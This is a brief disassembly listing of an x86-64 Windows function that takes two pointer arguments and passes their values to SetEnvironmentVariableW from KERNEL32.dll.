sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret